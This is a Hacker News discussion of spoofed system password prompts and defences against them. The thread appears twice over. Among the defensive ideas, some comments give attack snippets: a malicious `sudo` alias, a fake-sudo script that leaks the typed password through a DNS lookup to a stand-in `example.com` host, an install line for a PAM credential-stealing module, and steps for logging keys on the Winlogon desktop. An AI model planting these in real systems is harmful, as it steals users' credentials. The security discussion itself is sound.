16 ms·

This is related to an issue called root-phishing or superuser-phishing. You can do this with the Windows admin password prompt, the MacOS prompt, or with Linux

This is related to an issue called root-phishing or superuser-phishing. You can do this with the Windows admin password prompt, the MacOS prompt, or with Linux sudo, as long as you can run code from a user account or edit a single file. alias sudo='sudo ./somethingbad; sudo' I'm surprised you don't hear about this that often. There is no perfect solution, since any visual feedback the operating system can do to make their prompt "official-looking" is possible by an application as well, unless the operating system can display information the user would recognize that it not accessible by the application. A perfect solution on iOS is to "minimize" the application so that the home screen is shown and then show the password prompt. The user would immediately recognize the wallpaper and icons to be theirs, which are two pieces of information unavailable to the application. However, the application could still fool the user by displaying the box over the application anyway.

hellofunk 9y ago
One solution would be for an OS to never have such a popup that requested credentials to be entered right there. Instead, the popup should just say "Visit System Settings to enter your account password to download whatever." This would be similar to measures companies say in emails, "we never ask for your password, always visit our site directly," etc.
- dawnerd 9y ago
  What’s annoying about the iTunes login is they expect you to know your password. I use a password manager, I’m not about to memorize my iTunes pass. Naturally those logins windows don’t work with password managers either. Better solution would be not having login windows at all and make it all in the app and do a sort of oauth type flow if the system needs to share it.
  - ballenf 9y ago
    The single biggest point of confusion for newcomers to iOS in my experience is the dichotomy between the iTunes password and the device pass code and internalizing which is needed when. The iTunes password is needed so rarely these days that most people really struggle to even remember setting it. IMO, the iTunes password should be eliminated entirely. But I have no idea how to handle the activation lock situation if no authenticated device is on hand.
    - djrogers 9y ago
      > IMO, the iTunes password should be eliminated entirely. Whoa whoa whoa - hold on there. Your ‘iTunes password’ protects purchases in the App Store and iTunes media stores, access to the iCloud website, your iCloud email, iMessages, app data such as notes and contacts, third party app data, and freaking backups of your entire device. What exactly would you suggest Apple do to eliminate that account? You might as well say that google should eliminate their gmail passwords, or that Dropbox should eliminate the account password.
      - e12e 9y ago
        Some of those could be handled by the device password (although apple might have dug themselves a hole with touch I'd there) - the other with an one time password generator whose secret was available to trusted ios devices? For Apple services, that might even be simplified to a callback system; mail app on desktop shows a token "bushy eyebrows", ios auth app display the token "busy eyebrows" and a login/cancel prompt. The actual auth can be done in a challenge - response fashion between the service and the ios device. Another use for the Apple watch...
      - dawnerd 9y ago
        Should just be handled by icloud instead of iTunes, even though these days it's the same thing
    - hyperpape 9y ago
      People with kids need two levels of access.
  - hellofunk 9y ago
    Lots of tools and apps require knowing passwords; my password manager just lets me press "Copy" when I open it to a particular login, and then I paste it into the iTunes prompt or elsewhere. A little extra hassle but I don't need to remember the password.
    - dawnerd 9y ago
      Thats what I do, but when you have a modal window like the one in the article, you cant get back to it if you hit cancel to open your password manager. I guess you could copy your password and hope it pops back up...
  - eric_h 9y ago
    My personal password strategy requires that I do, in fact, have to recall from memory a small number of secure passwords (device access passwords, ssh key passwords, password manager password and one web service password (iCloud)). My memorized password count is less than 10 and they're all long and secure (and completely different from one another). It's unfortunate that iCloud is on that list, but it's the only one that shouldn't really belong there, so I'm okay with it.
JD557 9y ago
>A perfect solution on iOS is to "minimize" the application so that the home screen is shown and then show the password prompt. IIRC, this is similar to what happens in Windows since Vista. When you need to input your root password, all applications are minimized and you only see a dim wallpaper and the password prompt.
- icebraining 9y ago
  Right, but in Windows can't any application reproduce that behavior?
  - vortico 9y ago
    Yup. And I'm sure there's some implementation of this in the form of a sketchy library.
    - tyingq 9y ago
      Powershell script to do something similar: https://raw.githubusercontent.com/enigma0x3/Invoke-LoginPrompt/master/Invoke-LoginPrompt.ps1 https://raw.githubusercontent.com/enigma0x3/Invoke-LoginProm... Blog post with screenshots: http://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/ http://enigma0x3.net/2015/01/21/phishing-for-credentials-if-... There's probably some browser based equivalent somewhere too.
vbezhenar 9y ago
There are many solutions. First is requiring un-catchable keyboard shortcut to enter the password. Something like "ctrl-alt-delete" for Windows (I'm not sure if it's un-catchable, but you got an idea) or even better some unused key like pause/break. User will be trained to press this shortcut and app can't replicate it, so user won't be tricked. Second is using fingerprint. iOS should just use fingerprint always instead of asking the password (an exception is first boot or failed fingerprint). Now the case of failed fingerprint might be exploited, but I think it could be solved too. Require pressing of "home" button to acknowledge fingerprint. If fingerprint is real, OS will ignore this press. If fingerprint is fake, OS will just close an app. Unfortunately operating system developers are not considering this attack. But they certainly can defend if they want.
- michrassena 9y ago
  I think the idea behind ctrl-alt-delete is that it generates a non-maskable interrupt that can't be hooked from user-mode. In days past, this sort of thing was called a secure attention key. https://en.wikipedia.org/wiki/Secure_attention_key https://en.wikipedia.org/wiki/Secure_attention_key And you're right, this needs to be a default part of any login handler. Why don't we use it when logging into a Linux console? The login prompt could easily be spoofed by a user-mode program.
  - rightos 9y ago
    > I think the idea behind ctrl-alt-delete is that it generates a non-maskable interrupt that can't be hooked from user-mode. Keyloggers can still enter the winlogon session and log all keystrokes there, they need to run as a SYSTEM service, but it's very possible to do. I'm surprised this isn't better documented, but it's pretty much as simple as copying the token from the existing Winlogon process, adjusting the privileges appropriately and calling CreateProcessAsUser() with lpDesktop set to Winsta0\Winlogon.
    - lmz 9y ago
      If you have keyloggers running as SYSTEM you've already lost.
dx034 9y ago
A solution is to only ask for the password when absolutely necessary. I still don't understand why I need to enter a password (or use touchID) to download a free app. Shouldn't it be enough to login when I want to buy something for the first time in-app? AFAIK that's how android handles it.
- mcphage 9y ago
  You need to enter your password when downloading a free app so that if someone finds your phone they can’t install a malicious hacking or key logging app on to your phone. Installing apps is a security risk, not just a financial issue.
  - ClassyJacket 9y ago
    Ios apps cannot log keys at all. They're sandboxed.
    - ascagnel_ 9y ago
      Not entirely -- keyboard apps can intercept keystrokes and send them to a remote server.
      - jsjohnst 9y ago
        Keyboard apps explicitly have to ask for “full access” and you need to opt-in. Also, apps can block 3rd party keyboards, not sure how many secure / banking apps do that though.
        emmelaich 9y ago
        What's stopping an app from imitating the keyboard? Fundamentally, we're talking about imbuing meaning to patterns of light on a screen. And apps can write on any part of the screen. I suspect the only way to battle this is to have a separate screen which is controllable only from the system. And even many people will fall for password prompts in the main screen.
EGreg 9y ago
I wrote this email to sjobs@apple.com back in 2011. Never heard back :-/ Dear Steve, There's one thing that's always bothered me about MacOS security. When a MacOS dialog pops up (e.g. to ask you for your password), there'sno way to tell for sure that it's MacOS that owns the dialog. A similar problem exists on the iPhone when I am asked for my iTunes password. I wanted to write and suggest an easy fix, that would make the next version of MacOS and iOS much more secure. Why not have the users set a personal phrase, that MacOS will store and show them in every native MacOS dialog, to prove that it's really coming from MacOS? Of course, you'd have to prevent apps from screen-capturing that portion of the screen for the entire time the dialog is up, and capturing the keystrokes that are being sent to the dialog, but that shouldn't be too much of a problem. You can do something similar for the iPhone. I really hope this finds its way into MacOS. After MacOS X came out I switched from the PC and haven't looked back. It's awesome. Sincerely, Greg ...
- jsjohnst 9y ago
  Man I wish this had been seen and acted on! Would be an excellent feature (and one I’ve thought of myself before).
- ballenf 9y ago
  Prescient of you! Although I’m skeptical that users will really be alerted by the absence of a thing. The users I work with wouldn’t. But I would prefer it. The inability to use the home button on the dialogues has become second nature to me out of healthy distrust/ paranoia.
  - EGreg 9y ago
    I guess since writing that email, I would have preferred the option of taking a photo (and not storing it anywhere except here). You get used to system dialogs "looking like this" with the photo. If something is wrong, most humans pick it up easily. Only for blind users do you need the text.
  - jclardy 9y ago
    With the hundreds of password dialogs that you get in iOS for various reasons, I think people would catch on pretty quickly to a new secure variant. Yeah, some people wouldn't, but that isn't a reason to leave it with the terrible implementation they have now. This has annoyed me since forever on iOS.
spydum 9y ago
I think you don't hear about the sudo variant because it's almost never used (though I'll be honest, I never considered impersonating sudo, going to have to add that to my bag of red team tricks). I think impersonating UI's is pretty common though, tons of ads/malware made themselves to look like windows alerts.
- blincoln 9y ago
  There's little reason to actually impersonate sudo, IMO. Just add a malicious PAM module[1] and log the credentials entered for the real sudo (as well as password-based logon, etc.). [1] e.g. https://github.com/ONsec-Lab/scripts/tree/master/pam_steal https://github.com/ONsec-Lab/scripts/tree/master/pam_steal
  - e12e 9y ago
    You can't insert a pam module without root? But you can alias sudo to a script that does something like: echo "enter sudo pw:" read pw # log ip and query on ns for # example.com host "$USER.$pw.example.com" & echo "Invalid pw" sudo $* Ed: from the github link: > Usage: add "auth required pam_steal.so" into /etc/pam.d/common-auth If you can write to pam.d/common-auth - you might be able to add a kernel module, or change boot to start the whole os install in a vm...
simias 9y ago
That's slightly different though, in order to do this you need to have shell access on the target's computer. TFA is about displaying a password dialog from an unprivileged app or website. The equivalent scenario with sudo would be to have a website display a mock terminal asking for sudo password, although that would be a lot harder to do inconspicuously because I don't expect terminal windows to pop out of the blue. It's also the reason why browser notify you when a page wants to go fullscreen. I think the right solution to this problem is simply not to have privileged system UI elements drawn in a way that can be mimicked by a regular app or website. LastPass made a similar mistake: https://github.com/cxxr/lostpass https://github.com/cxxr/lostpass I don't have an iphone so I'm not sure what would be the right way to deal with that. AFAIK apps can draw to the entire screen surface so it sounds tricky to avoid.
- amelius 9y ago
  > That's slightly different though, in order to do this you need to have shell access on the target's computer. But I suppose any application can write to the current user's .bashrc file right? Then it can also set the alias whenever the user opens a terminal.
  - vortico 9y ago
    That's what shell access means. Running a program = access to system() and thus shell access.
  - simias 9y ago
    I don't think running a native application on a desktop is similar to running a sandboxed app on iOS. The security implication is wildly different IMO. I think a webapp is a more apt comparison.
- dEnigma 9y ago
  Maybe the actual password dialogue could contain some kind of visual code, like the one on paper money. Then the OS could detect when a fake password input is shown to the user, just like copy machines detect it when you put a bank note in the scanner.
olegkikin 9y ago
One solution that seems obvious to me is - the OS itself can detect fake popups such as this. It can even be a fast neural net that checks the screen, say, once a second.
- amq 9y ago
  A neural net for what could be a simple string comparison?
  - deleted 9y ago
    [deleted]
  - krallja 9y ago
    A string comparison would not catch my next attack, a bitmap-based imitation.
  - olegkikin 9y ago
    It must be an image comparison, and it's can be a simple 1-to-1, because all it takes is one modified pixel to break that. That's why it has to be some sort of an image recognition technology.
deleted 9y ago
[deleted]
hnlmorg 9y ago
I think the best way to resolve this is a hardware button that the user has to press. So the dialog pops up and says "please press button then enter your password". User needs to press the button for the textbox to appear. This hardware button auto-closes whatever the active application if the active application is not the system dialog. This way you have a hardware control verifying the dialog isn't a phishing attack. Of course, attackers could mimic the dialog after the button had been pressed if it were a genuine dialog. But as long as you can train your users into only entering their password after they've pressed the button then hopefully most might realise something was amiss if requested for a password without the button press.
gruez 9y ago
>You can do this with the Windows admin password prompt doesn't work when UAC is enabled. Even if you were able to phish the administrator password, trying to login as the administrator using that password (such as by using runas), you'll still end up with a restricted access token. You still need to somehow click "yes" on UAC to get administrative access, which is no small feat because that prompt is on the secure desktop.
- kminehart 9y ago
  > doesn't work when UAC is enabled Which is funny because disabling UAC is one of the first things I (and many many others) have done since Windows 7 to make using Windows a little more tolerable.
  - amq 9y ago
    I could understand disabling UAC on Vista, but I find it perfectly sensible since Win7. Also blame ancient programs which request administrator access without reason.
    - gruez 9y ago
      >I find it perfectly sensible since Win7 funny thing is, the thing that made it "sensible" since win7 also makes it insecure. if you care about security, it's prompt for everything or nothing. https://blogs.msdn.microsoft.com/oldnewthing/20160816-00/?p=94105 https://blogs.msdn.microsoft.com/oldnewthing/20160816-00/?p=...
  - xenophonf 9y ago
    That's like running everything as root or passwordless sudo. Seriously: don't do that.
- vortico 9y ago
  That's interesting. I haven't used Windows since UAC came out. Is a Windows password useless to an application then?
golergka 9y ago
> A perfect solution on iOS is to "minimize" the application so that the home screen is shown and then show the password prompt. The user would immediately recognize the wallpaper and icons to be theirs, which are two pieces of information unavailable to the application. However, the application could still fool the user by displaying the box over the application anyway. Isn't it exactly what happens on windows anyway?
jclardy 9y ago
It is crazy to me that this is an issue on iOS or Android, there is so much they can do to actually make it secure. For one, on iOS, just "fading out" the app view over the users homescreen wallpaper. There is no way an app can do this, and it is a simple visual indication that the request is coming from the OS. Problem solved. Also something I don't understand - the OS knows where the request is coming from, yet they don't show an app icon in that view? Why not? This has been a problem for years with such simple solutions, yet nobody has touched it.
- zbentley 9y ago
  > "fading out" the app view over the users homescreen wallpaper This is done sometimes, but has only limited success. Most users will click the "your computer is infected, click here to upgrade!" fake windows presented by webpage JS on a PC. You really think an app-fade effect will help enough to make a difference? It would help a bit, but not much. > they don't show an app icon in that view? Why not? Because then malicious/spammy applications would present fake alerts, which were non-badged normal popups, and add false badges. I guess you could badge everything, and push the problem onto apps whose icons look similar enough to other apps when shrunk down to whatever size your badge is. Either way, it still ends up in the same boat: probably a little bit helpful, but not much.
  - jclardy 9y ago
    I'm specifically referring to iOS with the window fade. Of course the issue with it is that the user would have to notice the lack-of the effect on the fake popups (or apps trying to fake the users app icons/wallpaper) My point is that literally anything would be better than a generic UIAlertController with a password field that exists today, I can fake one in literally ten seconds and have it be remotely triggered by a key on a server to pass through app review. Anything added would enhance security for users.
    - pwinnski 9y ago
      I believe GP was saying that if there were a fade, it would take you "literally eleven seconds" to fake, and users would be no more likely to nice its presence or absence than they do phishing attempts on desktop computers.
mattacular 9y ago
Why not just make it so that a password dialog can't be created with certain word combos like "Apple ID" and "Sign In to iTunes Store" Still might fool some users who aren't paying attention but seems like it would be a simple start.
joelhaasnoot 9y ago
MacOS with the new TouchID is pretty bad on this as well. I thought all user password prompts would be replaced with Touch ID but it's very much hit and miss and varies greatly.
andyhmltn 9y ago
There's already something in iOS to handle this: The overlay for apple pay. It slides up from the bottom and is easily distinguishable from the app you're using. If they had something similar for the iTunes password it would work really well
breatheoften 9y ago
I really like the solution that includes the iOS background — the os password dialogues should adopt this approach immediately. Zoom out to a view that includes springboard and your background image, and maybe include a preview of the app in a little window that the user can tap to return to the app rather than a non-contextual “cancel” button if the password prompt is related to the app context for some reason.
- Splines 9y ago
  I've seen this at banks that do something similar (and it's probably for this reason). They include a user-selected picture at logon, so if you see the wrong picture, you know that their logon page is being spoofed. I have no idea of the feasibility of locking down some piece of user data such that the OS can display it for privileged access, but random apps cannot, but this seems like a reasonable solution. Include some user selected word or picture in the title bar of the settings dialog so that users know its the real one.
  - krallja 9y ago
    Those pictures can easily be proxies by a spoofer, so I don't see the point of them.
    - kibwen 9y ago
      Those pictures are indeed useless when used by banks, since they do nothing against MITM. But for the attack described in the OP they would actually be a reasonable defense, since this sort of indiscriminate low-privilege phishing can't intercept requests between the user and the system in order to determine the secret image.
seiferteric 9y ago
Ya there are some solutions, like you can prefix a '\' before a command to make sure you are running the real command and not a alias, so in your example running: \sudo <command> would defeat your attack. But few are in the practice of doing that.
- vortico 9y ago
  Didn't know that! Thanks.
- TylerE 9y ago
  Would it? If the attacker was able to backdoor the system, isn't also possible they could install a modified shell that no-ops \?
  - seiferteric 9y ago
    Isn't the login shell set in /etc/passwd? So you would need root to either modify that, or to overwrite the shell binary.
- slrz 9y ago
  > But few are in the practice of doing that. Because there's no point. If I'm able to manipulate your shell environment to set aliases, I can also change your search path so that \sudo picks up the program I want. And no, you can't defeat that by only running /usr/bin/sudo because there are a million other nasty things to do once an attacker has reached this level of control.
  - seiferteric 9y ago
    I'm sure there are plenty of tricks. I could be wrong, but I think the \ is a shell builtin thing, so I don't think creating a \sudo or the like would work. You could set the PATH and put a fake sudo in a secret directory in there that precedes the /usr/bin/sudo though, so that would be a problem.
    - 9y ago
mmjaa 9y ago
Back in the day, we used to train operators to use 'type sudo' before every use of the sudo command, to be sure they weren't surreptitiously using an alias ..

hellofunk 9y ago

One solution would be for an OS to never have such a popup that requested credentials to be entered right there. Instead, the popup should just say "Visit System Settings to enter your account password to download whatever." This would be similar to measures companies say in emails, "we never ask for your password, always visit our site directly," etc.

dawnerd 9y ago
What’s annoying about the iTunes login is they expect you to know your password. I use a password manager, I’m not about to memorize my iTunes pass. Naturally those logins windows don’t work with password managers either. Better solution would be not having login windows at all and make it all in the app and do a sort of oauth type flow if the system needs to share it.
- ballenf 9y ago
  The single biggest point of confusion for newcomers to iOS in my experience is the dichotomy between the iTunes password and the device pass code and internalizing which is needed when. The iTunes password is needed so rarely these days that most people really struggle to even remember setting it. IMO, the iTunes password should be eliminated entirely. But I have no idea how to handle the activation lock situation if no authenticated device is on hand.
  - djrogers 9y ago
    > IMO, the iTunes password should be eliminated entirely. Whoa whoa whoa - hold on there. Your ‘iTunes password’ protects purchases in the App Store and iTunes media stores, access to the iCloud website, your iCloud email, iMessages, app data such as notes and contacts, third party app data, and freaking backups of your entire device. What exactly would you suggest Apple do to eliminate that account? You might as well say that google should eliminate their gmail passwords, or that Dropbox should eliminate the account password.
    - e12e 9y ago
      Some of those could be handled by the device password (although apple might have dug themselves a hole with touch I'd there) - the other with an one time password generator whose secret was available to trusted ios devices? For Apple services, that might even be simplified to a callback system; mail app on desktop shows a token "bushy eyebrows", ios auth app display the token "busy eyebrows" and a login/cancel prompt. The actual auth can be done in a challenge - response fashion between the service and the ios device. Another use for the Apple watch...
    - dawnerd 9y ago
      Should just be handled by icloud instead of iTunes, even though these days it's the same thing
  - hyperpape 9y ago
    People with kids need two levels of access.
- hellofunk 9y ago
  Lots of tools and apps require knowing passwords; my password manager just lets me press "Copy" when I open it to a particular login, and then I paste it into the iTunes prompt or elsewhere. A little extra hassle but I don't need to remember the password.
  - dawnerd 9y ago
    Thats what I do, but when you have a modal window like the one in the article, you cant get back to it if you hit cancel to open your password manager. I guess you could copy your password and hope it pops back up...
- eric_h 9y ago
  My personal password strategy requires that I do, in fact, have to recall from memory a small number of secure passwords (device access passwords, ssh key passwords, password manager password and one web service password (iCloud)). My memorized password count is less than 10 and they're all long and secure (and completely different from one another). It's unfortunate that iCloud is on that list, but it's the only one that shouldn't really belong there, so I'm okay with it.

JD557 9y ago

>A perfect solution on iOS is to "minimize" the application so that the home screen is shown and then show the password prompt. IIRC, this is similar to what happens in Windows since Vista. When you need to input your root password, all applications are minimized and you only see a dim wallpaper and the password prompt.

icebraining 9y ago
Right, but in Windows can't any application reproduce that behavior?
- vortico 9y ago
  Yup. And I'm sure there's some implementation of this in the form of a sketchy library.
  - tyingq 9y ago
    Powershell script to do something similar: https://raw.githubusercontent.com/enigma0x3/Invoke-LoginPrompt/master/Invoke-LoginPrompt.ps1 https://raw.githubusercontent.com/enigma0x3/Invoke-LoginProm... Blog post with screenshots: http://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/ http://enigma0x3.net/2015/01/21/phishing-for-credentials-if-... There's probably some browser based equivalent somewhere too.

vbezhenar 9y ago

There are many solutions. First is requiring un-catchable keyboard shortcut to enter the password. Something like "ctrl-alt-delete" for Windows (I'm not sure if it's un-catchable, but you got an idea) or even better some unused key like pause/break. User will be trained to press this shortcut and app can't replicate it, so user won't be tricked. Second is using fingerprint. iOS should just use fingerprint always instead of asking the password (an exception is first boot or failed fingerprint). Now the case of failed fingerprint might be exploited, but I think it could be solved too. Require pressing of "home" button to acknowledge fingerprint. If fingerprint is real, OS will ignore this press. If fingerprint is fake, OS will just close an app. Unfortunately operating system developers are not considering this attack. But they certainly can defend if they want.

michrassena 9y ago
I think the idea behind ctrl-alt-delete is that it generates a non-maskable interrupt that can't be hooked from user-mode. In days past, this sort of thing was called a secure attention key. https://en.wikipedia.org/wiki/Secure_attention_key https://en.wikipedia.org/wiki/Secure_attention_key And you're right, this needs to be a default part of any login handler. Why don't we use it when logging into a Linux console? The login prompt could easily be spoofed by a user-mode program.
- rightos 9y ago
  > I think the idea behind ctrl-alt-delete is that it generates a non-maskable interrupt that can't be hooked from user-mode. Keyloggers can still enter the winlogon session and log all keystrokes there, they need to run as a SYSTEM service, but it's very possible to do. I'm surprised this isn't better documented, but it's pretty much as simple as copying the token from the existing Winlogon process, adjusting the privileges appropriately and calling CreateProcessAsUser() with lpDesktop set to Winsta0\Winlogon.
  - lmz 9y ago
    If you have keyloggers running as SYSTEM you've already lost.

dx034 9y ago

A solution is to only ask for the password when absolutely necessary. I still don't understand why I need to enter a password (or use touchID) to download a free app. Shouldn't it be enough to login when I want to buy something for the first time in-app? AFAIK that's how android handles it.

mcphage 9y ago
You need to enter your password when downloading a free app so that if someone finds your phone they can’t install a malicious hacking or key logging app on to your phone. Installing apps is a security risk, not just a financial issue.
- ClassyJacket 9y ago
  Ios apps cannot log keys at all. They're sandboxed.
  - ascagnel_ 9y ago
    Not entirely -- keyboard apps can intercept keystrokes and send them to a remote server.
    - jsjohnst 9y ago
      Keyboard apps explicitly have to ask for “full access” and you need to opt-in. Also, apps can block 3rd party keyboards, not sure how many secure / banking apps do that though.
      - emmelaich 9y ago
        What's stopping an app from imitating the keyboard? Fundamentally, we're talking about imbuing meaning to patterns of light on a screen. And apps can write on any part of the screen. I suspect the only way to battle this is to have a separate screen which is controllable only from the system. And even many people will fall for password prompts in the main screen.

EGreg 9y ago

I wrote this email to sjobs@apple.com back in 2011. Never heard back :-/ Dear Steve, There's one thing that's always bothered me about MacOS security. When a MacOS dialog pops up (e.g. to ask you for your password), there'sno way to tell for sure that it's MacOS that owns the dialog. A similar problem exists on the iPhone when I am asked for my iTunes password. I wanted to write and suggest an easy fix, that would make the next version of MacOS and iOS much more secure. Why not have the users set a personal phrase, that MacOS will store and show them in every native MacOS dialog, to prove that it's really coming from MacOS? Of course, you'd have to prevent apps from screen-capturing that portion of the screen for the entire time the dialog is up, and capturing the keystrokes that are being sent to the dialog, but that shouldn't be too much of a problem. You can do something similar for the iPhone. I really hope this finds its way into MacOS. After MacOS X came out I switched from the PC and haven't looked back. It's awesome. Sincerely, Greg ...

jsjohnst 9y ago
Man I wish this had been seen and acted on! Would be an excellent feature (and one I’ve thought of myself before).
ballenf 9y ago
Prescient of you! Although I’m skeptical that users will really be alerted by the absence of a thing. The users I work with wouldn’t. But I would prefer it. The inability to use the home button on the dialogues has become second nature to me out of healthy distrust/ paranoia.
- EGreg 9y ago
  I guess since writing that email, I would have preferred the option of taking a photo (and not storing it anywhere except here). You get used to system dialogs "looking like this" with the photo. If something is wrong, most humans pick it up easily. Only for blind users do you need the text.
- jclardy 9y ago
  With the hundreds of password dialogs that you get in iOS for various reasons, I think people would catch on pretty quickly to a new secure variant. Yeah, some people wouldn't, but that isn't a reason to leave it with the terrible implementation they have now. This has annoyed me since forever on iOS.

spydum 9y ago

I think you don't hear about the sudo variant because it's almost never used (though I'll be honest, I never considered impersonating sudo, going to have to add that to my bag of red team tricks). I think impersonating UI's is pretty common though, tons of ads/malware made themselves to look like windows alerts.

blincoln 9y ago
There's little reason to actually impersonate sudo, IMO. Just add a malicious PAM module[1] and log the credentials entered for the real sudo (as well as password-based logon, etc.). [1] e.g. https://github.com/ONsec-Lab/scripts/tree/master/pam_steal https://github.com/ONsec-Lab/scripts/tree/master/pam_steal
- e12e 9y ago
  You can't insert a pam module without root? But you can alias sudo to a script that does something like: echo "enter sudo pw:" read pw # log ip and query on ns for # example.com host "$USER.$pw.example.com" & echo "Invalid pw" sudo $* Ed: from the github link: > Usage: add "auth required pam_steal.so" into /etc/pam.d/common-auth If you can write to pam.d/common-auth - you might be able to add a kernel module, or change boot to start the whole os install in a vm...

simias 9y ago

That's slightly different though, in order to do this you need to have shell access on the target's computer. TFA is about displaying a password dialog from an unprivileged app or website. The equivalent scenario with sudo would be to have a website display a mock terminal asking for sudo password, although that would be a lot harder to do inconspicuously because I don't expect terminal windows to pop out of the blue. It's also the reason why browser notify you when a page wants to go fullscreen. I think the right solution to this problem is simply not to have privileged system UI elements drawn in a way that can be mimicked by a regular app or website. LastPass made a similar mistake: https://github.com/cxxr/lostpass https://github.com/cxxr/lostpass I don't have an iphone so I'm not sure what would be the right way to deal with that. AFAIK apps can draw to the entire screen surface so it sounds tricky to avoid.

amelius 9y ago
> That's slightly different though, in order to do this you need to have shell access on the target's computer. But I suppose any application can write to the current user's .bashrc file right? Then it can also set the alias whenever the user opens a terminal.
- vortico 9y ago
  That's what shell access means. Running a program = access to system() and thus shell access.
- simias 9y ago
  I don't think running a native application on a desktop is similar to running a sandboxed app on iOS. The security implication is wildly different IMO. I think a webapp is a more apt comparison.
dEnigma 9y ago
Maybe the actual password dialogue could contain some kind of visual code, like the one on paper money. Then the OS could detect when a fake password input is shown to the user, just like copy machines detect it when you put a bank note in the scanner.

olegkikin 9y ago

One solution that seems obvious to me is - the OS itself can detect fake popups such as this. It can even be a fast neural net that checks the screen, say, once a second.

amq 9y ago
A neural net for what could be a simple string comparison?
- deleted 9y ago
  [deleted]
- krallja 9y ago
  A string comparison would not catch my next attack, a bitmap-based imitation.
- olegkikin 9y ago
  It must be an image comparison, and it's can be a simple 1-to-1, because all it takes is one modified pixel to break that. That's why it has to be some sort of an image recognition technology.

deleted 9y ago

[deleted]

hnlmorg 9y ago

I think the best way to resolve this is a hardware button that the user has to press. So the dialog pops up and says "please press button then enter your password". User needs to press the button for the textbox to appear. This hardware button auto-closes whatever the active application if the active application is not the system dialog. This way you have a hardware control verifying the dialog isn't a phishing attack. Of course, attackers could mimic the dialog after the button had been pressed if it were a genuine dialog. But as long as you can train your users into only entering their password after they've pressed the button then hopefully most might realise something was amiss if requested for a password without the button press.

gruez 9y ago

>You can do this with the Windows admin password prompt doesn't work when UAC is enabled. Even if you were able to phish the administrator password, trying to login as the administrator using that password (such as by using runas), you'll still end up with a restricted access token. You still need to somehow click "yes" on UAC to get administrative access, which is no small feat because that prompt is on the secure desktop.

kminehart 9y ago
> doesn't work when UAC is enabled Which is funny because disabling UAC is one of the first things I (and many many others) have done since Windows 7 to make using Windows a little more tolerable.
- amq 9y ago
  I could understand disabling UAC on Vista, but I find it perfectly sensible since Win7. Also blame ancient programs which request administrator access without reason.
  - gruez 9y ago
    >I find it perfectly sensible since Win7 funny thing is, the thing that made it "sensible" since win7 also makes it insecure. if you care about security, it's prompt for everything or nothing. https://blogs.msdn.microsoft.com/oldnewthing/20160816-00/?p=94105 https://blogs.msdn.microsoft.com/oldnewthing/20160816-00/?p=...
- xenophonf 9y ago
  That's like running everything as root or passwordless sudo. Seriously: don't do that.
vortico 9y ago
That's interesting. I haven't used Windows since UAC came out. Is a Windows password useless to an application then?

golergka 9y ago

> A perfect solution on iOS is to "minimize" the application so that the home screen is shown and then show the password prompt. The user would immediately recognize the wallpaper and icons to be theirs, which are two pieces of information unavailable to the application. However, the application could still fool the user by displaying the box over the application anyway. Isn't it exactly what happens on windows anyway?

jclardy 9y ago

It is crazy to me that this is an issue on iOS or Android, there is so much they can do to actually make it secure. For one, on iOS, just "fading out" the app view over the users homescreen wallpaper. There is no way an app can do this, and it is a simple visual indication that the request is coming from the OS. Problem solved. Also something I don't understand - the OS knows where the request is coming from, yet they don't show an app icon in that view? Why not? This has been a problem for years with such simple solutions, yet nobody has touched it.

zbentley 9y ago
> "fading out" the app view over the users homescreen wallpaper This is done sometimes, but has only limited success. Most users will click the "your computer is infected, click here to upgrade!" fake windows presented by webpage JS on a PC. You really think an app-fade effect will help enough to make a difference? It would help a bit, but not much. > they don't show an app icon in that view? Why not? Because then malicious/spammy applications would present fake alerts, which were non-badged normal popups, and add false badges. I guess you could badge everything, and push the problem onto apps whose icons look similar enough to other apps when shrunk down to whatever size your badge is. Either way, it still ends up in the same boat: probably a little bit helpful, but not much.
- jclardy 9y ago
  I'm specifically referring to iOS with the window fade. Of course the issue with it is that the user would have to notice the lack-of the effect on the fake popups (or apps trying to fake the users app icons/wallpaper) My point is that literally anything would be better than a generic UIAlertController with a password field that exists today, I can fake one in literally ten seconds and have it be remotely triggered by a key on a server to pass through app review. Anything added would enhance security for users.
  - pwinnski 9y ago
    I believe GP was saying that if there were a fade, it would take you "literally eleven seconds" to fake, and users would be no more likely to nice its presence or absence than they do phishing attempts on desktop computers.

mattacular 9y ago

Why not just make it so that a password dialog can't be created with certain word combos like "Apple ID" and "Sign In to iTunes Store" Still might fool some users who aren't paying attention but seems like it would be a simple start.

joelhaasnoot 9y ago

MacOS with the new TouchID is pretty bad on this as well. I thought all user password prompts would be replaced with Touch ID but it's very much hit and miss and varies greatly.

andyhmltn 9y ago

There's already something in iOS to handle this: The overlay for apple pay. It slides up from the bottom and is easily distinguishable from the app you're using. If they had something similar for the iTunes password it would work really well

breatheoften 9y ago

I really like the solution that includes the iOS background — the os password dialogues should adopt this approach immediately. Zoom out to a view that includes springboard and your background image, and maybe include a preview of the app in a little window that the user can tap to return to the app rather than a non-contextual “cancel” button if the password prompt is related to the app context for some reason.

Splines 9y ago
I've seen this at banks that do something similar (and it's probably for this reason). They include a user-selected picture at logon, so if you see the wrong picture, you know that their logon page is being spoofed. I have no idea of the feasibility of locking down some piece of user data such that the OS can display it for privileged access, but random apps cannot, but this seems like a reasonable solution. Include some user selected word or picture in the title bar of the settings dialog so that users know its the real one.
- krallja 9y ago
  Those pictures can easily be proxies by a spoofer, so I don't see the point of them.
  - kibwen 9y ago
    Those pictures are indeed useless when used by banks, since they do nothing against MITM. But for the attack described in the OP they would actually be a reasonable defense, since this sort of indiscriminate low-privilege phishing can't intercept requests between the user and the system in order to determine the secret image.

seiferteric 9y ago

Ya there are some solutions, like you can prefix a '\' before a command to make sure you are running the real command and not a alias, so in your example running: \sudo <command> would defeat your attack. But few are in the practice of doing that.

vortico 9y ago
Didn't know that! Thanks.
TylerE 9y ago
Would it? If the attacker was able to backdoor the system, isn't also possible they could install a modified shell that no-ops \?
- seiferteric 9y ago
  Isn't the login shell set in /etc/passwd? So you would need root to either modify that, or to overwrite the shell binary.
slrz 9y ago
> But few are in the practice of doing that. Because there's no point. If I'm able to manipulate your shell environment to set aliases, I can also change your search path so that \sudo picks up the program I want. And no, you can't defeat that by only running /usr/bin/sudo because there are a million other nasty things to do once an attacker has reached this level of control.
- seiferteric 9y ago
  I'm sure there are plenty of tricks. I could be wrong, but I think the \ is a shell builtin thing, so I don't think creating a \sudo or the like would work. You could set the PATH and put a fake sudo in a secret directory in there that precedes the /usr/bin/sudo though, so that would be a problem.
  - 9y ago

